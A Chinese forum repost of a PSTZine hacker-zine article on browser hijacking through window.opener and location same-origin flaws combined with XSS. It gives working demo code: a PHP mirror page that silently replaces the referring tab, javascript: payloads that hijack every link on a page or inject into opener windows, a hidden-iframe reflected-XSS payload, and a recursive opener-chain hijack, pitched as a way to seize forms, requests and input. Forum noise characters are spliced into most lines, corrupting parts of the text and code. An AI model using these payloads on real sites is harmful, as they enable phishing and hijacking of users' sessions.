找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2283|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
. b! `' x+ w1 D# d, G+ E$ L+ n9 E- m
# j+ n# b% i5 D6 Q! L                       Issue 0x03, Phile #0x05 of 0x07
8 q( U8 X* D+ n5 U/ f* @: I 4 L# n2 i! Z4 |- b

# U1 |1 L4 M2 N9 {|=---------------------------------------------------------------------------=|
. U; d6 J% A- @* [- o5 A# c/ K|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|+ H$ G- x! U7 F0 @4 R# S
|=---------------------------------------------------------------------------=|( N9 T4 N2 C# o% n
|=---------------------------------------------------------------------------=|+ _3 k& h+ ]/ v) D4 o" M
|=------------------------=[      By rayh4c     ]=---------------------------=|
# a$ C$ y$ p6 L8 M  q+ u9 [4 E|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|- V" N- a  l  L, p' O
|=---------------------------------------------------------------------------=|+ F9 l5 K3 R) O1 I% n

0 j9 f0 W* @( \! M" c. A5 f
' q8 v: {( R% H8 }& |[目录]' A: q- [, L# P- t! ^! h& k5 ]
9 F* e4 \4 j& E/ s  X
1. 前言
" E+ y8 ^& T6 P  N+ m" k3 j$ i2. 同源策略简叙  P1 k; y6 |- j7 Y9 J
3. 理解window对象的同源策略5 u( U7 L3 m8 a) S
4. 窗口引用功能中的同源策略漏洞* q' _' ]4 T) H5 [
  4.1 父窗口引用子窗口的同源策略问题) l  v" ^1 M4 b4 G1 b: M9 P0 X7 V& D
  4.2 子窗口引用父窗口的同源策略问题) P0 ]9 t- H$ w( g
5. 利用窗口引用漏洞劫持浏览器
- D7 e5 l/ k/ W5 x9 C6 B6. 利用XSS漏洞劫持浏览器- m; @/ o' {+ t/ S: J6 H8 ]% T: n
  6.1 正向跨窗口劫持9 A- M2 _% v. n
  6.2 反向跨窗口劫持
) x) G: X( M& L. l: k  6.3 极度危险的跨框架窗口引用劫持8 W) Y: w% j8 R8 b# i
  6.4 极度危险的正反向跨窗口递归劫持
5 ^( M( b. Z6 @. ?: V  6.5 完全控制浏览器
! {. ]0 }7 O8 C1 l+ X( \0 `2 T7. 后记
( b$ q( @5 l8 J1 `7 A8. 参考
: h' }  ~( r4 @. u- C! W( m7 ~, F3 x( E) S/ Y1 Z9 Y1 [

/ E0 t3 L' Q( k2 l$ e) Z一、前言
* |8 u3 F: y) r2 t$ `# J1 x$ j# r8 {" r
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
( V1 c# t& m1 j8 M友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
$ U/ _" l7 q/ ]' {5 K1 y: n6 I劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被: o7 B; r% }' H9 @; `, T6 E+ \
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。3 m3 [1 Z( p' a: ~: o
! K8 ]; T7 `0 M4 l- b) n
: {# K, U- H* O) u: l  D
二、同源策略简叙2 M" c3 d4 `! {! a. v. H

3 \) i5 ^2 P8 k! F6 j# r) j    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以9 M9 ~: U( ~8 m, M( V( T$ _
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
0 Q- n) c% m; s0 s( |- `! A1 _& H曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
1 j, l) ?7 C8 g3 d! A. g3 R马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个. m* B+ D5 P- F1 T! Q
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。5 h& k, L' ^- S8 E4 m: e7 Z) Q
3 ~  r4 n# ^7 V! `5 b

, |; Z  o& H! O* w# P% Z三、理解window对象的同源策略0 i+ D4 s  U. J* U8 c) o

! p( [2 S7 p4 R5 U" Z$ D    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对3 O3 Z& x; [. n6 D
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
0 |+ f8 z8 N3 X2 U. P& ?" |" t; V, a- h0 {0 i
--code-------------------------------------------------------------------------3 P9 ?2 S' ?8 }" F, B& @: w" x
<script language="javascript">
0 c0 |& v+ L8 a' u0 |for(p in window) document.write(p+"<br>");8 E- E7 i9 B2 J# O/ X! ?
</script>
1 S6 [) K- [) X' ~-------------------------------------------------------------------------------
" m; l" l; k0 j/ S/ F  d
, r# y- Q' n0 c  N6 c    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方! ^2 r# t9 c0 E" L
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,+ p& g6 M. O8 X* b8 I1 d6 u
这些属性和方法就必须遵循同源策略。
+ t6 T/ M$ M, I
# @) y8 l& J) }9 v, r. z. A    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
$ K" [: l& p! S! ~9 m么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须- i0 A$ W* X: E
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这0 s/ Z+ q# x" K9 C. d) c6 Z
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
9 l3 E- Q0 ]5 y" }8 E值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
: ]  }5 B, J/ V8 z9 D( W属性并没有被拒绝访问。
# e; R% D9 m, X) _- F5 ^) S! O( S) E: y6 W0 l. O) v$ l
--demo.html--------------------------------------------------------------------6 @$ O% ^; ^& W$ l( o
<script language="javascript">   
# q" {- i% A! a: {3 c- G: ]4 f& Afunction allPrpos(obj) {      
! G4 C6 O6 v1 h9 n: L2 Y: d8 R      var props = "<table><tr><td>名称</td><td>值</td>";           
) K0 O& C% s) j( c1 p      for(var p in obj){         
' a4 F7 y3 t# b0 V' s. Q  n; o# c            if(typeof(obj[p])=="function"){   ' Q% l% L9 l2 \7 o/ I1 s
                   obj[p]();   
+ X/ b  A# x2 ?             }else{                     
# N5 I1 J, n. m, ?' V                  try   
/ h8 i; H- ?0 G6 Y                   {   
+ t- {, ~- x+ L0 {3 n' x  T                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   : q. c' T% a# X9 V# ?) j8 H- l: K
                   }   ) x/ K! g* R9 |0 [# k
                  catch (ex)   / v5 z3 f6 F9 A- `' C
                   {   $ D+ K- G! ]) ^# z
                     l# D! O9 x# N, Z9 r0 m
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   9 \, ~# e& j4 K$ e! T  ?# J$ Z
                   }   
! v$ m) g' z. w/ `0 F% i1 ^8 p                       9 l) a3 w# c& P3 L' S+ v
             }   
2 J6 R; E3 X6 A/ L. ]( S  m* U* _: }       }   
( u6 t: y$ }; N   2 p& C" t5 g0 b* x2 E1 D* A) f
       document.write(props+"</table>");   6 z1 W8 a+ e0 d, y: u
}   
# A2 Z- g0 W7 ?! W) U- p9 S. R$ G   . j, Y: V2 @# L0 m+ W. O
function createWin() {% ?6 I8 [4 |# l
        newWin = window.open ("http://www.google.com");  
; [: W6 ?- R3 w" ]  T; T( O        setTimeout(function(){allPrpos(newWin)},2000);
1 L; t- l5 J4 y* m/ q} ; A7 q7 A0 m' V
3 n9 y: t4 x( ?' Y% \( C, D* G
</script> . h6 W0 `, m9 R: @% ]6 p, J0 C, H. a

, o- o* F# ^# c4 i" T2 M4 o6 A<button onclick='createWin()'>创建一个非同源子窗口测试</button>
% u. Z6 J" s/ z& D3 [-------------------------------------------------------------------------------
& W# ~4 u% K- @) e- [8 `) O, p5 l1 m4 X, N2 }

7 ^6 ?0 x, N9 E1 ^+ ?5 n4 h四、窗口引用功能中的同源策略漏洞) P1 n) |: t7 @7 [: _

. ], P6 V9 V$ @# H, T& g  [9 U$ z4.1 父窗口引用子窗口的同源策略问题( ]$ U& l( o" ^# E! T
& [5 d' k# }& a1 L- W) i+ P; z
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,5 h8 L8 ?6 H4 k% F/ J" Q
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
4 c6 s6 l) \/ i6 p9 A% P1 ~* _浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
  y6 S0 r' d3 R行测试,会发现父窗口可以控制非同源子窗口location属性值。
7 z7 \$ h1 h  u$ a- c
1 x2 k8 ]7 E! U* @. A) j--vul1.html--------------------------------------------------------------------
% W2 B& m8 n+ ]" L4 t" T, r6 [<script language="javascript">
! |2 ^5 {; n  E1 j. Q1 a5 [function createWin() {  
! g3 t" C( X3 e: U3 s7 ^. y; m        newWin = window.open ("http://www.google.com");  9 B3 G4 p& C) U" \. s: {- |
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
- [- `6 r" Z: V( w: A1 e} + q8 E) n3 d: @
</script>
7 B2 v* s6 Y  L# g
! J; I7 T1 Z% _2 o  Y$ C<button onclick='createWin()'>创建一个非同源子窗口测试</button>
. g3 z: H8 Z( R-------------------------------------------------------------------------------- @5 I, c( L& q8 v% c" L& u
' x* V  @1 U3 A
, h% T+ n/ J# k0 K$ p
4.2 子窗口引用父窗口的同源策略问题/ u) N, i% [8 c4 [* i/ P

$ S1 f: ?- N# }& ^- N    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使6 s8 i8 @; g) T8 B  N2 ~; d
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们6 ]& }) a2 v- L0 D4 v
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
* K" a4 n( f% H, _5 w1 t1 Q会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。  D1 S" g1 f$ K, Y; t4 Q" g6 {& |

% y0 b7 V3 v" x' P5 x, c9 Z$ _--code-------------------------------------------------------------------------  l  Y: W. F0 r$ o

$ w8 M" V" R  p' M- ]javascript:window.opener.location = "http://www.80sec.com";void(0);
  m- Q7 s0 j5 y
0 O7 D* }% g/ O5 ~0 q) O-------------------------------------------------------------------------------
; V. g& \. y' U  L6 M0 X4 G8 t
2 P) n( N7 R& i0 Y$ W' N/ T# ?: o) y: P$ ~) o# i
五、利用窗口引用漏洞劫持浏览器
( @* Q* P$ Y3 H6 n9 z; c% k& L# Z0 U: O% k
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子$ D- B- C9 A. i% A/ }
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那3 p8 d* h. i$ Z9 A$ H% q
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。- `/ M$ _7 b. k3 N& H% q

. h. o/ A" y5 E$ W# C( Q    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
- B4 U0 k& Q6 Y7 O生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
3 a% V9 \3 R. s- `5 {4 s0 e者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接: {0 f( w' c5 ^! F- b
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
% a6 }$ S( R7 \$ W会产生什么可怕的后果。
  X( W, B: I8 Z- G
# V9 \( I1 l1 G( g% }( [    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
& n) M: y, `7 k# C/ e+ y& i们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php  B9 X2 N; [" y6 M& Q( t4 M* ]' z
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时; d6 k+ c# G/ S) Z1 T; y) n% Y
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
0 s" ]& g* Y) |8 K; I( T' B以做更多的事情,所有的一切仅仅是因为点击了一个链接。: s/ K" q7 `3 K1 P

/ }8 X' O: M$ F2 Z) e  r--hjk_ref.php------------------------------------------------------------------
, ^: g1 \9 v4 t, n( }7 K/ Z, G<?php
) V9 M+ w5 |5 \8 Lif (array_key_exists("HTTP_REFERER", $_SERVER)) {
, @2 Q4 A, ~5 v4 U$ B$Url_Mirror = $_SERVER["HTTP_REFERER"];* y7 ?3 \' W, a$ q
}
- u5 Z0 U, A0 k& cif(isset ($_GET['ref'])) {( L% o, p9 z3 l. u6 w& b
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
/ \- e* t& k( c, g; H8 F- K}; v0 z! s$ q/ x8 @: }& \
?>3 g+ i9 T) s# F9 n# j! p1 o! w& u

; E- {3 Y4 L9 y. O! u<script language="javascript">: n2 y& S6 h5 b, m' t
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         % M& G4 h% s: G% l% M+ T
</script>
. A6 e2 |' x5 v3 B9 K+ a-------------------------------------------------------------------------------1 a# ^4 _4 P; p8 j4 N9 c

% t8 w1 V3 E' G0 P) N7 L3 S2 \8 T& d    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。3 R! A, o% u, ?

- j2 D* Q9 f$ L% M9 [' f9 P& _, L' ~9 J; j3 x1 V2 c9 X
六、利用XSS漏洞劫持浏览器
( ]' J) d$ Q1 v
- d' w, k' p( R    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
0 A0 m+ z! c" B+ X. b持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
" X& _; V' v3 B+ ^+ y! I7 [1 jXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起3 I% t' W2 j* L
讨论跨站师的终极技巧:* J4 v( O2 x" {' `* H
5 i  L/ [9 y' o7 U

) k. u* W7 P% m( I. w+ f! o( @5 W6.1 正向跨窗口劫持4 a6 g9 a# o, {" h- q0 ]/ j% ^
( ~" b! F7 U) u4 E
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛5 k$ c1 x7 _5 H( y4 P
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链( J5 k. e1 B: v2 N' ~7 _! F
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话2 J; c: J* \$ E' C% N6 X, N$ O6 H
框脚本。 # W* p. [  j3 K# @6 J# i) y2 X8 Y- a

# Z# |) \" r$ X; R) o8 E8 S--hijack_open.js---------------------------------------------------------------- E2 Z( w$ a% W' g7 C6 d
0 @% @9 J: l3 U4 p( K; c
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
; P  I& c$ N, N  \# W7 C- o! R% j' L* e# w; ^6 V
-------------------------------------------------------------------------------
. }+ P/ a' E$ p$ w3 i9 ~9 }9 r4 b1 J& ?0 [8 h$ J- F
/ Y+ F5 u$ o1 O3 W1 k+ C: n
6.2 反向跨窗口劫持8 \5 a! t! F) n  Q

" x3 Y  {! f/ _    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
; X. ^% Z  H' I. N- e; r0 D码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话. T0 R7 E9 q/ V5 r
框脚本。
# Y# \" [4 f* {% Z- `+ {' f! C) |7 i" g$ t
--hijack_opener.js-------------------------------------------------------------
/ O' j+ e  t6 K# K
( S5 H/ r3 h: V9 Q1 W! l8 xjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);' p' c( m" e0 d7 E' G4 W

& D+ B3 K* N! n9 @- H( d5 L) {, \-------------------------------------------------------------------------------
0 C& o* T& W/ v! k! Y6 a+ m$ I$ W' t! {+ H; ]4 p3 J
. q. o$ ~  J" A$ y, V
6.3 极度危险的跨框架窗口引用劫持
- F( T" S  p7 }0 N- J8 B* Q
, D8 S, A' m/ A    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞2 M3 Q& m! T/ i: [& E- {0 @  `. p( H
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就+ U: b2 @0 }9 A2 p, K8 X& d
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个8 Y' z, X2 ?+ D( g4 @
非持久型的XSS,如下:  B+ x* T1 u. n  N( f
  f! h" t  q/ |, _: Z, n" l1 y6 h
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
  z! f. \! t0 R3 f. v" z6 s" p3 `# h0 Y  h
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口! Y* |' J$ k/ S! Q
注入脚本。/ A! ^$ y0 {3 q0 k! `" {( Q0 _

" g# X! H# O+ f+ N/ a3 s4 [9 C  W+ B--hijack_frame_opener.js-------------------------------------------------------' T# @1 I+ v( ~( w" ]& P
<script>
* @  u4 q8 y$ I9 k# F+ |4 g' h7 H/ Gwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";: z: {8 E. v$ k1 r
</script>
( T4 D+ c% d* T: x-------------------------------------------------------------------------------. Y" I7 |9 w$ k  \
6 w8 O. g: I6 q  ~
! L$ E+ Y: C5 e5 s& E3 B
6.4 极度危险的正反向跨窗口递归劫持
- F6 Z9 X, _" M- w) m: R/ J* m4 q6 W
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
, a( D3 G/ `7 J6 o) ]- j) w的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过1 w# ]: L% S+ R9 ^
异常处理规避之间跨域页面的访问异常,代码如下:" h# k8 R4 M8 \( ^# V* g* H8 E

! k2 z; H: r$ q$ o* O+ }" v--code-------------------------------------------------------------------------. z: `. p% W; G

7 h1 {: l( B! U3 g$ o2 pjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
& s' Q1 i; U" I  ~! [2 ~, B. l9 i5 H3 A$ }
-------------------------------------------------------------------------------
- Z- l8 g" c9 w4 ~) T" m
- C$ N& z6 ]5 D6 y" M9 `  j    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
: X! v# e) b+ M. v5 V/ \以劫持B域之前的A域页面,从而实现“隔空打击”。
) {/ z$ B  K; L
/ V$ s  x3 F3 J+ D    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面, }# I$ j% _) S; h0 `
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。0 J) X1 y, {# g2 r1 S
2 G# X; ]  q7 N8 z6 V; g
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。% K4 j) i. y9 |" J  f

5 c( s, b" W3 z2 W$ M6 [$ v$ h4 v, v( S3 ^0 T8 g1 C" D# ~
6.5 完全控制浏览器
/ _# s0 ~+ f6 S5 _: k0 d* [
) f8 A2 b: Y) _2 l; F% L    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则( f  I- c0 v6 `2 e
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
! j" \3 U# X( s/ P3 T漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失1 E2 ]0 N, Z: {: n# Z: Z8 c8 Y
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再' l( @9 }% ?+ {1 H( J8 A/ @! c9 @
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
4 \5 {4 Z7 J8 L师的终极目标 - 完全控制浏览器。, L& b/ r: M' ]2 U: s9 y5 R$ N) ?
$ e( N2 @& P2 C8 b5 ]

4 ^$ `% E  G* Y* O+ u1 }# \七、后记! d) v3 s6 m: o; g$ M3 N

, t) t% _4 G. ]* ?8 y# ?    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
* i& S. a2 Y% H* _3 D1 T5 M- u与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予1 [1 ?2 Z9 v& R% R( V( W+ c. j
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。9 X0 q" i$ q) Q/ D+ m
$ X0 k: x6 k1 }
. H5 ?- Y  C) o/ N# i9 B
八、参考1 ^+ Y* L1 [5 g- P3 p3 V
  `& J. g% b+ G
1. http://en.wikipedia.org/wiki/Same_origin_policy
! k. o7 W5 h* w  f- {/ D' e# ^2. http://code.google.com/p/browser ... licy_for_DOM_access, k2 Q& ]: l1 {: G: ~, W( ^& W
3. http://www.w3.org/TR/Window/
2 Z& e& T' V4 b" U$ D: U9 g. \4. http://www.80sec.com/release/browser-hijacking.txt
* b/ s5 W3 L  W3 E# k- m2 m1 |5. http://www.80sec.com/all-browser-security-alert.html' Z& B) P: \. i: a4 p5 D0 ^* u1 S
6. http://www.80sec.com/ms08-058-attacks-google.html
+ t; \1 C$ \2 \$ }% T- E
8 a2 i/ n7 Y. @; N+ _-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表